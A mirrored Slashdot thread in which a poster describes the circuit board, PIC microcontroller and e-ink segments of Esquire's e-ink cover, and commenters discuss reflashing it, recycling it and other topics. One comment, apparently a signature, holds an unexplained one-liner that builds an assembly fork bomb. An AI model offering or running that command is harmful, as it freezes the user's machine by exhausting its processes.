Slashdot Mirror
Hacking Esquire's E-ink Cover
ptorrone writes "I picked up the Esquire E-inked cover today and took a bunch of high res photos, for the makers out there. It has a programming header, 5-pin ISP, a Microchip PIC 12f629 which is flash programmable, 8 pin, 6 lithium coin cell CR2016s, 3 volts each. Two E-ink screens with flex connections — looks like it was made to be reprogrammed and different screens. The top screen has 11 segments, the bottom has 3. It was designed 2008-06-04. The PCB was made by Forewin, half thickness, 2 layer board (FR4). I think someone out there will likely reflash the PIC and make the segments go on / off at different times and perhaps put other displays on it, there's a little bit of hacking to be had but not that much really."
Most of these magazines are going to end up in landfills with all the toxic materials that are in the display, batteries, chips, and PCBs. Thank you Esquire.
I don't get it. What do YOU think will happen?
All I can see is a company gets a black eye, blames the whole thing on 'those evil hackers', and sends a potentially cool technology away forever.
And if the first thing you think of when you think of porn is 'Goatse', man, I'm sorry.
"These people look deep within my soul and assign me a number based on the order in which I joined" --Homer re:
Why are e-ink based e-books so expensive, while Esquire can afford to use it as a cover for their magazine? Something's missing here.
Is goatse porn? man it never occured to me...
you just ruined my day
Overuse of the Pumping Lemma causes blindness
Fascinating.
All of it can be recycled through your local municipal waste program in the same manner as you dispose of household batteries.
Last time I checked, household batteries go to the landfill. At least that's what happens where I live. GP has it right.
www.timcoleman.com is a total waste of your time. Never go there.
I could be wrong, but from looking at the video, it appears that the image is static, but the background changes colour. So there is basically 10 or so "pixels" that flash in the background. Changing the image would be impossible, but you could make it flash faster.
Copyright 2010. All rights reserved. This comment may not be copied in any way including, but not limited to caching.
Same reason the original blink made it to HTML - because the can. Reminds you a lot of the Jurassic Park line..."they> were so preoccupied with whether or not they could, they didn't stop to think if they should."
Is it just my observation, or are there way too many stupid people in the world?
Is this entire thing about how there really isn't any point at all in hacking this thing?
Gee, thanks for telling us!
Even the summary has lost interest by the time it reaches the last sentence.
No they don't have enforcement crews digging through your trash, but many business have drop boxes for their employees/customers, especially places like Best Buy. Retailers that sell rechargeable batteries are required to accept them for recycling. It's so easy to recycle them, and there are free programs, so why not?
A fear of getting caught isn't the reason people comply, it's to keep hazardous material out of the landfill. The same reason we recycle our electronics through free programs instead of burying them in the backyard (well technically the fee is paid at point-of-sale).
Doesn't mean this one has the contacts laid out for addressable pixels.
If the internet has done one thing for me, it has killed whatever curiosity I had to go look at new shock images.
I Am My Own Worst Enemy
This is probably a little cynical, but they probably got the reprogrammable covers so they could re-use them when they don't sell. Newsstand owners send back the front covers of unsold magazines, newspapers, and other items, and just recycle the rest of the item. Here, the newsstand owners send back a programmable cover, and Esquire's publisher can re-use the cover for a later stunt.
freeflux-powered open-source blog
from what I saw, they were mentioning "hacking" powering the device when the batteries go dead. And with such large segments, there's just so much you can do with it. Can't even do a power bar unless 1/3, 2/3, 3/3 is of interest.
What would be interesting is if you could put a homemade backing on it to energize the e-ink and draw custom things inside those segment areas.
LoB
"Anyone who stands out in the middle of a road looks like roadkill to me." --Linus
And they already know how to make flat paper speakers so they damned things will be talking whenever somebody is in range.
If they had video cameras, they'd be vandal resistant too.
"Watch Big Brother! Tonight of ABC! Watch Big Brother Tonight on ABC! Mr Morris, please do not touch this advert, it is the property of Orwell Advertising Inc. Mr Morris, video of the incident has been sent to law enforcement"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
http://www.esquire.com/features/recycle-e-ink-cover
"Simply tear off the cover and dispose of the display unit in your recycling."
Colour me very surprised if the council don't just landfill the thing because it is too much effort for them to split it up into it's component parts...
http://blog.nexusuk.org
+1, (Only relevant information in entire thread)
It's been a long time.
Have you tried reading your own references?
"The average saving, however, does not include added energy costs of collection and transportation."